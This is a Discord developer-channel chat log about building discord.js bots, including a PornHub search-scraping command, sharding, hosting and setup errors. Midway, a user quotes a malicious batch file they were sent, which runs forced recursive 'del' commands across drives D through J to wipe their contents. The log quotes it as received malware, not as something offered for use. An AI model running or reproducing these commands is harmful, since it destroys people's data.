#development
1 messages · Page 482 of 1
Does PornHub have any API wrappers even? 
Wew
how can I set a variable if its undefined? Would I do it the same way?
just an if statement seeing if its undefined
if (!variable) {//code}
@quartz kindle I got a bunch in console log
A lot of it got cut off
due to how much got logged
well, the full html page source aint gonna be light
write it to a file
fs.writeFile
if you use the async version, yes, you can do whatever in the callback
so like
Ironic, Tim as node.js was built on the idea of asynchronous I/O
async i/o yes, not necessarily disk i/o though
the ones I used
Actually, yes
Node is good for disk I/O
It lacks in multithreading, but the callbacks make up for it partially
its good yes, but i wouldnt say it was designed for disk i/o. more like designed for async i/o in general, regardless of interface
i believe it was primarily designed for async network i/o
Ok
So
undefined
this is what the fs.writeFile gave me
Look for yourself
lmfao
show code
@hushed berry this "message.txt" download link seems legit
mini modding
^ not
yes
NO
y e s
no u
const Discord = require("discord.js")
const request = require("node-superfetch")
const fs = require("fs")
module.exports.run = async (client, message, args, ops) => {
var porn = args[0]
try{
var { body } = await request.get(`https://www.pornhub.com/video/search?search=${porn}`)
var data = console.log(body.toString("utf8"))
fs.writeFile('message.txt', data, (err) => {
if (err) throw err;
console.log('The file has been saved!');
});
}catch (err){
message.reply(`Oh no, Looks like there is an error. Error:${err.message}`)
}
}
module.exports.help = {
names: ["pb", "pornhub", "porn-hub"]
}
Tim
there you go
.-.
?
hmmmm, those names though
@lusty dew not you
I'm not shitposting, I am telling what's on my mind
Difference
Can we not argue
If you're gonna help, go ahead. If no, please don't say anything
I deal with that enough everyday
@hushed berry is randomly posting here in development with no reason considered shitposting or no
CAN WE NOT ARGUE
dont use caps
@lusty dew i dont think you can do var data = console.log() lmao
seriously
really
I am not in the mood
you fuck off too then 
I deal with arguing everyday
I dont need to deal with it ehre
here*
oof
@quartz kindle So how can I do it then?
either data = body.tostring or just put it directly into writefile(name,body.tostring)
Ok
fs.writeFile('message.txt', body.toString("utf8"), (err) => {
if (err) throw err;
console.log('The file has been saved!');
});
like that?
yes
Ok
Want me to send
the File
the .txt
or
put it in hastebin
Might as well hastebin
there
yeah thats the full html source
gross
🙄
what do you want to do with it?
me?
I am trying to make a command were you do
@myboit pb Lesbian
or something like that
and it returns what you searched in an embed
at random
so it picks a video
randomly
there are several problems here
?
the page you're accessing only has links to videos, not the videos themselves
and its not random, its based on the search terms
the same search with bring the same results, most times
Oh ok
unless they randomize it, which idk if they do
Nah
they dont
I tested that
It brings up same results
if you do
Lesbians
same vids will pop up
unles new ones are posted
although if you want a single video, i think they do have a random video option
I just want a Pornhub command
cause I have no other ideas
xD
Do you have other ideas for commands
Preferably search commands
they do have a random video link
Oh?
Damn
Ok
That is not what I need
I have steam google and youtube
but I want to update my youtube command
regardless, you'll probably be better off using apis
time to delet that from my searcn history
xD
Should I use this one?
xD I am joking
I wonder why there is something like that
I going to update my youtube command
smh
client.on('messageUpdate', message => require('./events/messagesEdited.js')(oldMessage, newMessage)) > oldMessage is not defined
@earnest phoenix uh
did you define oldmessage?
you'll need to provide more context
where did you define oldMessage
do i define it index.js or MessageEdited.js @bright spear
change message to oldMessage, newMessage
I get the same error by the way
I try find away to fix it but thanks
create category then create a channel inside it?
(discord.js)
Ahem
Question
Someone sent me
a batch file
with that in it
what does it do?
I didn't click it
cause I learned my lesson
but I am curious as to what that does o.O
Nvm
I looked it up
send the code in it
right click it and click edit
then copy and paste the code
@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q
This
right here
Was sent to me
Along with many others
that just shows your ip
Who sent it
oh that one deletes your system
who sent them
jk
No
don't
lol all of these are stole from a website
;3
I am a bad kid
I make many enemies
Mostly Pedos thouhg
Oh wait
No talking here
Shhh #general
can someone help me create category then create a channel inside it in discord.js?
ok
ok
yea
ok
message.guild.createChannel("announcements", "text")
.then(m => {
m.overwritePermissions(message.guild.id, {
SEND_MESSAGES: false
})
})
Uh, iirc to set the category of a channel you need to use v12/master
Idk if it's been backported to v11/stable yet
ok
ok
Yup
how do I get v12
npm i discordjs/discord.js
ok
FYI, a lot of stuff got organized so you will need to update your code
Like instead of guild.createChannel it's guild.channels.create
ok
channels
channels*
And @earnest phoenix in the options object put parent: then the channel object of the category
ok
luca how do I make it create a channel?
Hey neko can u make an example with the options object im on mobile
message.guild.channels.create('announcements', { parent: CATEGORY-CHANNEL-OBJECT-HERE })``` got it
Oh ok
Wait
is category the category id?
I still want to create a category too btw @bright spear
@earnest phoenix 
I just tried looking at the docs for master
they are a bit more complex for me to navigate
As I know where nothing is on em
¯_(ツ)_/¯
Oh well
Could some send me a small line of an announcement command in node.js?
Command: m!announce
What does it have to do?: Whenever making an announcement it will send it to the #announcements channel with the message.
message.guild.channels.create('announcements', { parent: CATEGORY-CHANNEL-OBJECT-HERE, overwrites: {SEND_MESSAGES: false}})
Or assuming because the user has perms they could just send a message to that channel?
Category channel object is the object of that category
The api treats categories as channels
Otherwise anyone could soam the command to announcement
Alright, was struggling with this since the docs didn't really help out
I'm fairly new to the Discord API
You can just do guild.channels.get('id') to get the category object
Alright, thanks
Can I PM someone about Rich Discord Embeds using pages?
Well
You mena like
Sending them the embed?
@wintry quest
if so
try
message.author.send(embed)
I think they mean reaction pagination
Ohhh
Also
I got another batch file
Full of viruses
Lol
They are trying too hard
anyone know how to catch and delete the category the message was sent in?
message.channel.parent.delete('reason')
try python -m pip
Also, no
pip install -U git+https://github.com/Rapptz/discord.py@rewrite#egg=discord.py[voice]
Well, you don't have pip installed/Python in your %PATH%
oo
Anyone know how to do embed pages / reaction embed pages?
probably cache the embeds
client.on('messageReactionAdd', (reaction, user) => {});
inside the body of that message
check to see if the reaction is the one that indicates page change
if it is
update the cached embed
and edit the previous msg
nah simply use reaction collector after sending the embed
you can look up "embed pages" on youtube, theres a video on it
its an example though
is the ytdl dead?
Huh?
ytdl lit throws out error on every search i do
youtube-dl library is broke, i hope they fix it in future
what error
you try to use youtubeDL.search it always throws out error: traceback
what language? if js, what module?
node-ytdl-core doesnt have .search iirc
do you have the latest
I dont have latest, cuz latest gives out eror: spawn ENOENT
did you install it properly
i need
Question
Is it against the rule
to make a command
that looks up info on an IP?
I mean
I won't do it were it sends out in the channel
I will do it so it sends to the user
i dont see why it would be
IP is a publicly available information, and since you cant get any ip address from discord users, it doesnt count as any personal identifiable information
looking up random ip addresses that are not directly tied to a specific user is not against any rules afaik
Might sound funny but how to get username of a user by their ID even if they are not in any mutual server with the bot in JS? (D.JS)
Username and tag ofc
Ummm
Maybe try
a user-info command
but have it both use ID's
or
a Mention
Just a theory
Use the fetchUser method in the client on stable
@gilded blaze Link please
It's in the discord.js documentation under the client section
What's the different between a string and a str
str is shorter
I was joking but thanks xD
Ok
I was also joking but you're welcome
❤
@earnest phoenix
str means strength
Any bot ideas 
@cinder patio yes
Hello, I am new in the field of development, and I would like to know how to make so that my bot can use the emojis of other server than mine, it is possible?
gyp ERR! configure error
gyp ERR! stack Error: Can't find Python executable "python", you can set the PYTHON env variable.
gyp ERR! stack at PythonFinder.failNoPython (D:\Files-Programs\NodeJS\node_modules\npm\node_modules\node-gyp\lib\configure.js:484:19)
gyp ERR! stack at PythonFinder.<anonymous> (D:\Files-Programs\NodeJS\node_modules\npm\node_modules\node-gyp\lib\configure.js:509:16)
gyp ERR! stack at D:\Files-Programs\NodeJS\node_modules\npm\node_modules\graceful-fs\polyfills.js:284:29
gyp ERR! stack at FSReqWrap.oncomplete (fs.js:152:21)
gyp ERR! System Windows_NT 6.3.9600
gyp ERR! command "D:\\Files-Programs\\NodeJS\\node.exe" "D:\\Files-Programs\\NodeJS\\node_modules\\npm\\node_modules\\node-gyp\\bin\\node-gyp.js" "rebuild"
gyp ERR! cwd C:\Users\Backdoor\Desktop\DCBots\NuiNui Discord Bot\node_modules\integer
gyp ERR! node -v v8.11.4
gyp ERR! node-gyp -v v3.8.0
gyp ERR! not ok
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR! integer@1.0.5 install: `node-gyp rebuild`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the integer@1.0.5 install script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
npm ERR! A complete log of this run can be found in:
npm ERR! C:\Users\Backdoor\AppData\Roaming\npm-cache\_logs\2018-09-10T13_28_28_434Z-debug.log
```
Guys What The Heck IS That I Searched From Google But All Answers Are Useless For Me!!
Does Any Body Help Me ?
(Trying to install quick.db)
guys
?
gyp ERR! stack Error: Can't find Python executable "python", you can set the PYTHON env variable. this is what you should be googling
with what
so should i install python?
yes..
fuck...
I would like my bot to use custom emojis on other servers, is it possible?
what is your library
JavaScript ( discord.js )
msg.member.send({embed})``` would this DM the user?
Try it
Wdym you want to use that bot or create one that does that
@prime cliff @earnest phoenix 1min
ok
mr ded @bold trench
?
does anybody knows a good api for anime? (fuck the google I wanna keep up chat alive)
YoutubeDL.getInfo(text, (err, info) => {
im getting err: spawn unkown
......
-botinfo @timber heron
389132918716629002
Yoshino
5404
Yoshino is a fast and reliable chat bot for Twitch, Discord and YouTube!
JDA
"!" OR "!yoshi" (customizable with !prefix command) OR @Yoshino
1282
3711 Servers | 3 Shards
@round night 
id attribute
so im a little stuck at this. im making a bot that gives updates on social media using webhooks, im trying to use this npm but no matter what i try i get the same error. am i missing something?
npm package: https://www.npmjs.com/package/youtube-uploads
error: (node:8768) UnhandledPromiseRejectionWarning: ReferenceError: window is not defined
code:
const youtubeUploads = require('youtube-uploads')
module.exports.run = async(client, message, args) => {
message.channel.createWebhook('webhookname', 'https://cdn.discordapp.com/attachments/454017709135364106/488729949847683082/Logo.png')
.then(webhook => console.log(`Created webhook`))
.catch(console.error)
const arrayOfVideoData = youtubeUploads('YOUTUBE_API_TOKEN', 'name', 5)
}
where is window even mentioned 
exactly :/
How would I make this line of code create a role on joining a new server:
//Logs when the bot joins another server.
bot.on('guildCreate', console.log);```
note: this is node.js if you couldnt tell
guildcreate gives a guild paramerter
Use <guild>.createRole() to create the role
how would i implement that to when it joins a new server though
im stupid today sorry if its obvious
bot.on('guildCreate', guild => {
//role create code here
})```
Show what you have
should I switch to discord.js. I currently use discord.py
from what ive seen
discord.js has a super large community of developers
and i think js is alot more readable than python
^
Need help on posting a bot for testing but if i put a short description it says it too long and that it needs 300 minimum characters 7-7
you don't post a bot "for testing"
this is a public bot list, once you post it and its approved it goes on the website
So how do i test it?
Omgerddddd
I keep blocking this guy
and he keeps deleting the account after he sends me
a batch file of viruses
Also just noticed
wrong channel sorry
Its alright
@oblique sonnet you test it in your own server?
Thats the problem
I dont know how to put it in a server 7-7
google it
Tried no success just tells me to use this page and ad it to the discord server like if im putting tatsumaki in a server
Dont i have to post if first?
no
A permissions calculator for Discord.
go there
put your bots client ID in
and click Add
Sketchy
how
Ok
Never give your token
umm can someone help me with sql?
SELECT * FROM tickets ORDER BY RANDOM()
``` with this code I get
1,3,5,4,6,2
how do I get 1,2,3,4,5,6?
lol
i need to find a way to host my bot somewhere that allows C#
Any ideas on how to do badges? What ive thought so far is having each badge have an id
then for each badge a user has
add the ids
together
you can just do a bitset of badges
oh yea true
eg badgeX = new Badge(id = 1 << 1); badgeY = new Badge(id = 1 << 2); badgeZ = new Badge(id = 1 << 3);
Wonder what that means
and hasBadgeX = (bitset & badgeX.id) != 0
ah alright, thanks natan
to add/remove, respectivelly:
user.badges |= badge.id
user.badges &= ~badge.id
thanks
No problem ;p
?
@oblique sonnet btw pls take screenshots instead of pictures
Snipping tool is built into Windows. EZPZ to use, just ctrl+V into Discord to upload the image
can someone help me find a way to host my bot somewhere that allows C#
@visual zenith Heroku ?
idk how to
Here are a few things you might find useful: - Discord apps home: https://discordapp.com/developers/applications/me - New Github Repository: https://github.c...
C# though

@visual zenith coughs ovh coughs harder aws coughs even harder digital ocean coughs so hard organs come out
or are you looking 4 free
c#
what
Server [localhost]:
Database [postgres]:
Port [5430]:
Username [postgres]:
psql: could not connect to server: Connection refused (0x0000274D/10061)
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5430?
could not connect to server: Connection refused (0x0000274D/10061)
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 5430?
Press any key to continue . . .
``` anyone would know why im getting this in psql
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5430?```
can confirm
made a huge ass extremely comprehensive help command
nobody reads (and they get confused about basic shit)
i only log valid
most of my commands have fallbacks so i log them too
@earnest phoenix can i host a c# using google cloud?
@visual zenith yes it does support c#
you can install any operating system you want, so yes you can even install a windows server
but it takes up so much space right?
C# also works on linux just use .net core
🤔
🤔
dm me and i can siphon off a gig of ram on an ssh account
but mind you you would have to keep me informed on what you do
and such
ye....
is VM the same has VPS ?
VM = virtual machine so yea
ok
@earnest phoenix flexes to you only lmao
where u get that 🤔
When you find out a game you been playing for years has an API
If thats league yes they have
gotem
@visual zenith go for the cheaper ones on gcloud
the shared cpu 1.7gb memory
unless you are in 2k guilds
that is sufficient
@visual zenith you can save bucks on choosing the small for now
ok
what about boot disk?
which os images should i get
yes i host a bot before
with the code discord.js
so should i get windows server? or something where i can download c# quicker?
@sinful lotus should I use windows server?
for the shared core
Well for me, I never coded a C# bot
I personally use Ubuntu 16.04 for @untold pulsar
which is written in JS
its simple
becuz i have a school chromebook where i cant access linux xD
do you think 10 gb is enough? @sinful lotus
depends on your language and setup etc
like i run nodejs and pretyt much use 0 cpu
so i dont need a very powerful one
so c# needs a lot?
depends on the functions of your bot etc etc
have u simulated a stress test or done any unit testing that could signify average usage?
v
then i could tell you about what you need
im making a new discord bot so thats why i want to ask
ah right on
well i assume it wont use much but dont cripple yourself for expansion
get like the 2 vcpu
Saba said 1 shared vCPU
this is a very much do as i say not as i do situation xD
the only stress testing i have done is like a few thousand synchronus executes of my functions in a unit test
its a new bot
and I dont expect it to have more than 2k servers at start
xD
1 shared cpu is more than enough
I hosted a bot on g cloud and I reached 5k servers on a single cpu
what lang
JS as well
I barely use all my cpu and I got 20 shards
pm2 for managing the core process
mhm
then discord.js traditional sharding
🤔
sharding-in-discord-js: This guide teaches you how to shard and deal with the different ways of doing things in discord.js.
you send your own
Ok
U wanna trade?
i have a thanos snap function that i dont push to production
A guide made by the community of discord.js for its users.
why would I trade my bot for you lol
ok show me how to set up the linux thing
what
its my hardwork for 7 months
Debian
ok so like
the Debian part
um maybe
sharding in c# is super ez
xD
it's literally one line edit and one line add
time to use google
ok dm me fallen i can walk ya through ssh hardening and proper porting etc
if you want
I thought it was hard in js 
How would I make it so each server can have a diff prefix?
don't you have to do things cross-shard in js?
depends on how complicated you want the code is
and yes I do cross shard in my case
since I didnt internal shard
internal shard
JS is single threaded
How would I make it so each server can have a diff prefix?
try to internal shard on 20 k server
xD
its like asking for
single thread is never a problem ever
reeeeeeeeeeeeeeee
are you sure single thread is good
threading is super important to a lot of applications
its like poluting single cpu without using the other cores
and it's a real shame node doesn't allow multi-threading
¯_(ツ)_/¯
something that isn't what multithreading is?
why would you though
yea but like
arent you aware that traditional sharding creates new requires for every process?
oh fuck really?
a bot that is internal sharded at 3k guilds
im going to be using alot of ram here soon
i store all my players data to ram, manipulate the ram real time and run save cycles every 5 mins
so like
while traditional sharded bot can eat 700mb-1gb on same size
this will be neat
but I use traditional still due to the nature that it can be multi threaded, per single process
single process contains about maximum of 2.5k guilds
so thats it
but it makes the code complicated
since you need to "communicate" with other shards
through main process
yea im going to have to rewrite how my bot interacts with the database because of how its requires work and such
ugh
getting a data from a guild from shard #1 in shard#3 is not as simple as collection.get
can you module export it out to the main file and distribute as needd?
like shove the collection on module export and send to whomever
you need to do cross shard talking
you are doing more caches
which is not good
traditional sharding eats more ram already
and doing more caches will just probably kill your ram more
lol
I have 20 shards, but only 1 shard of those 20 does the updating of guild count
i need to read up on discordjs docs more :/ i keep re-inventing the wheel for a bunch of stuff
the other 19 just relay the data to the shard that will do the sending
thats how I do my cross sharding communication in simple words
how many servers you on again?
19.2k I think or 19.1k
nice
well i dont mean to flex
100 registered users on my game
xD
19.2k guilds
its not great since you need bigger servers and better code
bigger doesnt mean better remember that
Ye I know
you need to make sure you can sustain it
A lot of people have told me that
yea
I am putting hold on my Current bot
I am getting to busy with....other things
When life hits you hard
you mind contributing to my list of good developer habits @sinful lotus ? Just gathering generally good practices when programming from devs
@earnest phoenix write clean, direct to the point, and make sure you are not doing memes
right on
Meme bots are very good
check docs and google it of certain operations
and make sure u dont do anything redundant
im more talking about keep functions returning bools if possible, they should have one purpose only, etc etc etc
if you can just init once, and just loop on the value you needs that would be better
specially on process like for example, music players
Console logging is your friend 👀
console log for debugging and testings
When in doubt console log
same
classes are a good example for it, but if you cant class then
function stuff () {
// variable init here
play(pass variables);
}
Console log whats that i only do notepad++ 
LOL
🤔
Notepad++ is the best when it comes to coding
just pass the variables on the function pass it and loop it until the end
i use nano to program
I use VScode
yes
VScode so far works great for me
mongodb
is so based
sublime is good to click "no thanks i dont wanna pay for notepad theme" every time u open it
Sublime to me can just die
52.1MB of memory
I want a Windows 8
I has a windows 7 for now
But soon
ima upgrade
either to windows 8
or a custom computer
dont go with windows 8
Upgrade to windows 9 kthx
not security patches
^
yet

and had a onversation with me
Wait what
because they cant be disabled 

i would reformat if i were you lmao
nani
no u
how would I make the bot send a message in a channel when it joins a server
what lib
node
uwu
🤔
@earnest phoenix meme detecc
discord.js idfk
uwu
im not familiar with it
check Client for the event
there should be an event for guild join
i already have that setup
and ive verified that it works
but i dont know how to make it send a message when it joins
owo
by what i mean I have it set so it logs the name of the new server and it creates its roles
owo
let SendChannel = guild.channels.get("general") || guild.channels.get("chat");
SendChannel.send(`Hello! I'm waifubot. I'm extremely work in progress so if im down please forgive me! My creator is always adding new features and that might cause me to crash. If a command is not working, please use ~support to report it to my owner in my discord server! Please Note: I only have 10 gifs and 10 hentai images working at the moment, but I will have over 400 in the future! I just have to learn how to use them. :smile:`);
thats what I came up with
but it crashes when it joins a new server
that wont work
ive figured that out already
you should just choose a random channel
wait
i forgot what its called in discordjs
owo
i was going to try that yeah
just remembered that trolol



